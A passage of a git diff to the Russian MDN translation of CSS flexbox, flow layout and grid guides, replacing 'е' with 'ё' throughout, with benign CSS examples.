использованием свойства <code>display: flex</code>, применённым к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство <code>justify-content</code> имеет начальное значение <code>flex-start</code>. Все свободное место располагается в конце контейнера.</p> <p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p> @@ -203,7 +203,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем <p>Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как <code>column-gap</code> and <code>row-gap</code>, как показано в макете <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать <code>column-gap</code> и <code>row-gap</code> во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.</p> -<p>Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, а также рассмотреть как выравнивание работает в этих спецификациях в статье <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p> +<p>Моё предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, а также рассмотреть как выравнивание работает в этих спецификациях в статье <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p> <p>Смотрите Также</p> diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index 9c407f61fa..25b5be5ea0 100644 --- a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -11,13 +11,13 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb <p>Как и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.</p> -<p>Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.</p> +<p>Flexbox был реализован экспериментальным путём в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счёте префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.</p> <p><a href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">В 2009</a> спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать <code>display: box</code> и несколько <code>box-*</code> свойств, которые делали то, что сегодня вы понимаете под flexbox.</p> <p>Очередное <a href="https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/">обновление</a> спецификации поменяло синтаксис на <code>display: flexbox</code> — и опять с вендорными префиксами.</p> -<p>В конечном счете спецификация была обновлена, чтобы определить <code>display: flex</code> как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.</p> +<p>В конечном счёте спецификация была обновлена, чтобы определить <code>display: flex</code> как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновлённой версии спецификации отличная.</p> <p>Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде <code>display: box</code> или <code>display: flexbox</code>, то это уже устаревшая информация.</p> @@ -27,7 +27,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb <ul> <li>Internet Explorer 10, который внедрил <code>display: flexbox</code> версию спецификации с префиксом <code>-ms-</code>.</li> - <li>UC Browser, который все еще поддерживает спецификацию версии 2009 год с <code>display: box</code> и префиксом <code>-webkit-</code>.</li> + <li>UC Browser, который все ещё поддерживает спецификацию версии 2009 год с <code>display: box</code> и префиксом <code>-webkit-</code>.</li> </ul> <p>Также возьмите на заметку, что Explorer 11 поддерживает современный <code>display: flex,</code> однако не без багов.</p> diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index 23f034fb6f..874e9a5982 100644 --- a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox --- <div>{{CSSRef}}</div> -<p class="summary"><strong>CSS модуль раскладки Flexible Box</strong>, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.</p> +<p class="summary"><strong>CSS модуль раскладки Flexible Box</strong>, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье даётся краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.</p> <p>Когда мы описываем flexbox как одномерно-направленный, мы имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.</p> @@ -46,7 +46,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h2 id="Начало_и_конец_строки">Начало и конец строки</h2> -<p>Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.</p> +<p>Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы вёрстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.</p> <p>Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.</p> @@ -64,7 +64,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h2 id="Flex_контейнер">Flex контейнер</h2> -<p>Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение <code>flex</code> или <code>inline-flex</code> для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.</p> +<p>Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаём значение <code>flex</code> или <code>inline-flex</code> для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.</p> <ul> <li>Элементы отображаются в ряд (свойство <code>flex-direction</code> по умолчанию имеет значение <code>row</code>).</li> @@ -75,7 +75,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <li>Свойству {{cssxref("flex-wrap")}} задано значение <code>nowrap</code>.</li> </ul> -<p>Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.</p> +<p>Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обёрнуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.</p> <p>Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.</p> @@ -87,7 +87,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Если изменить значение свойства <code>flex-direction</code> на <code>column</code>, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра <code>column-reverse</code>, начало и конец столбца поменяются местами.</p> -<p>В приведенном ниже примере значение свойства <code>flex-direction</code> установлено как <code>row-reverse</code>. Попробуйте другие значения — <code>row</code>, <code>column</code> и<code>column-reverse</code>, чтобы посмотреть как изменятся элементы контейнера.</p> +<p>В приведённом ниже примере значение свойства <code>flex-direction</code> установлено как <code>row-reverse</code>. Попробуйте другие значения — <code>row</code>, <code>column</code> и<code>column-reverse</code>, чтобы посмотреть как изменятся элементы контейнера.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}</p> @@ -105,7 +105,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Вы можете указать два свойства <code>flex-direction</code> и <code>flex-wrap</code> в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет <code>flex-direction</code>, второе <code>flex-wrap</code>.</p> -<p>В приведенном ниже примере вы можете изменить первое значение на одно из доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, а второе на <code>wrap</code> или <code>nowrap</code>, чтобы посмотреть как изменятся элементы контейнера.</p> +<p>В приведённом ниже примере вы можете изменить первое значение на одно из доступных для <code>flex-direction</code> - <code>row</code>, <code>row-reverse</code>, <code>column</code> or <code>column-reverse</code>, а второе на <code>wrap</code> или <code>nowrap</code>, чтобы посмотреть как изменятся элементы контейнера.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}</p> @@ -123,7 +123,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <p>Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией <strong>доступного пространства</strong>. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.</p> -<p>Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.</p> +<p>Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остаётся 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.</p> <p><img alt="This flex container has available space after laying out the items." src="https://mdn.mozillademos.org/files/15620/Basics7.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p> @@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox <h3 id="Свойство_flex-basis">Свойство <code>flex-basis</code></h3> -<p>Свойство <code>flex-basis</code> определяет размер доступного пространства элемента. Начальное значение этого свойства - <code>auto </code>- в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как <code>flex-basis</code>.<br> +<p>Свойство <code>flex-basis</code> определяет размер доступного пространства элемента. Начальное значение этого свойства - <code>auto </code>- в этом случае браузер проверяет, имеют ли элементы размер. В приведённом выше примере все элементы имеют ширину 100px, и этот размер читается браузером как <code>flex-basis</code>.<br> Если элементы не имеют размера, то для размера <code>flex-basis</code> используется размер контента. Вот почему, когда мы просто объявляем <code>display: flex</code> на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.</p> <h3 id="Свойство_flex-grow">Свойство <code>flex-grow</code></h3> diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html index 6a31a4a6ea..92c797bcf4 100644 --- a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html +++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html @@ -72,24 +72,24 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items <p>В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра <code>visibility: collapse</code> на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:</p> <blockquote> -<p>“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы. Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Сворачивание элементов</a></p> +<p>“Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы. Однако процесс обёртывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - <a href="https://www.w3.org/TR/css-flexbox-1/#visibility-collapse">Сворачивание элементов</a></p> </blockquote> <p>Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.</p> -<p>В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр <code>visibility: collapse</code>. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите <code>visibility: collapse</code> из CSS или измените значение на <code>visible</code>, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.</p> +<p>В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр <code>visibility: collapse</code>. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите <code>visibility: collapse</code> из CSS или измените значение на <code>visible</code>, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свёрнутыми элементами; высота флекс-контейнера при этом не изменится.</p> <div class="note"> -<p>Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.</p> +<p>Примечание. Используйте Firefox для двух приведённых ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.</p> </div> <p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}</p> -<p>Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит <em>после</em> сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.</p> +<p>Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит <em>после</em> сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свёрнутым элементом в главной оси.</p> <p>Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.</p> -<p>Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.</p> +<p>Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свёрнутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.</p> <p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}</p> @@ -97,4 +97,4 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items <h3 id="Разница_между_visibility_hidden_и_display_none">Разница между <code>visibility: hidden</code> и <code>display: none</code></h3> -<p>Когда Вы устанавливаете элементу <code>display: none</code> чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование <code>visibility: hidden</code> сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.</p> +<p>Когда Вы устанавливаете элементу <code>display: none</code> чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счётчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование <code>visibility: hidden</code> сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведёт себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.</p> diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html index 80fddc9dab..3863c2862e 100644 --- a/files/ru/web/css/css_flow_layout/index.html +++ b/files/ru/web/css/css_flow_layout/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Flow_Layout --- <div>{{CSSRef}}</div> -<p class="summary"><em>Нормальный поток (normal flow) </em>или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.</p> +<p class="summary"><em>Нормальный поток (normal flow) </em>или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в неё могут быть внесены изменения, например, относительное позиционирование.</p> <p class="summary">По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность <em>вынимается из потока (out of flow)</em>, то она работает независимо.</p> @@ -21,9 +21,9 @@ translation_of: Web/CSS/CSS_Flow_Layout <p>Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.</p> -<p>Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.</p> +<p>Два элемента параграфа с зелёной границей создают боксы уровня блока, отображающиеся один под другим.</p> -<p>Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.</p> +<p>Первое предложение также содержит элемент span с голубым фоном. Он создаёт бокс уровня строки и, следовательно, размещается внутри предложения.</p> <p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p> diff --git a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html index aed2f568ec..13069eaa00 100644 --- a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html +++ b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф <p class="summary"><span class="seoSummary">В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.</span></p> -<p>Всё на странице является частью <strong>контекста форматирования</strong> (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. <strong>Блочный контекст форматирования</strong> (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, <strong>флексовый контекст форматирования</strong> (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.</p> +<p>Всё на странице является частью <strong>контекста форматирования</strong> (formatting context), который представляет собой область, в которой происходит раскладка контента по определённым правилам. <strong>Блочный контекст форматирования</strong> (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, <strong>флексовый контекст форматирования</strong> (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.</p> <h2 id="Блочные_контексты_форматирования">Блочные контексты форматирования</h2> @@ -16,9 +16,9 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф <h3 id="Создание_нового_блочного_контекста_форматирования">Создание нового блочного контекста форматирования</h3> -<p>Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.</p> +<p>Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создаёт блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создаёт новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.</p> -<p>Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:</p> +<p>Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создаётся в следующих случаях:</p> <ul> <li>плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});</li> diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html index a616e84382..964f414675 100644 --- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Расположение_элемента">Расположение элемента</h3> -<p>Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.</p> +<p>Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путём привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.</p> <h3 id="Создание_дополнительных_полос_для_хранения_контента">Создание дополнительных полос для хранения контента</h3> @@ -33,7 +33,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h2 id="Grid_контейнер">Grid контейнер</h2> -<p>Мы создаем<em> grid контейнер</em>, объявляя<strong> display: grid </strong>или <strong>display: inline-grid </strong>на элементе. Как только мы это сделаем, <em>все прямые дети</em> этого элемента станут <em>элементами сетки</em>.</p> +<p>Мы создаём<em> grid контейнер</em>, объявляя<strong> display: grid </strong>или <strong>display: inline-grid </strong>на элементе. Как только мы это сделаем, <em>все прямые дети</em> этого элемента станут <em>элементами сетки</em>.</p> <p>В этом примере есть div, содержащий класс wrapper с пятью потомками</p> @@ -184,7 +184,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p> </div> -<p>В следующем примере мы создаем грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> +<p>В следующем примере мы создаём грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -202,7 +202,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Задание_треков_с_помощью_нотации_repeat">Задание треков с помощью нотации <code>repeat()</code></h3> -<p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или ее часть. Например, такое задание грида:</p> +<p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или её часть. Например, такое задание грида:</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -218,7 +218,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> +<p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -226,7 +226,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> +<p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> <pre class="brush: css notranslate">.wrapper { display: grid; @@ -236,11 +236,11 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <h3 id="Явный_и_неявный_грид">Явный и неявный грид</h3> -<p>Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.</p> +<p>Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определённого данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создаёт строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задаётся автоматически в зависимости от находящегося в них контента.</p> 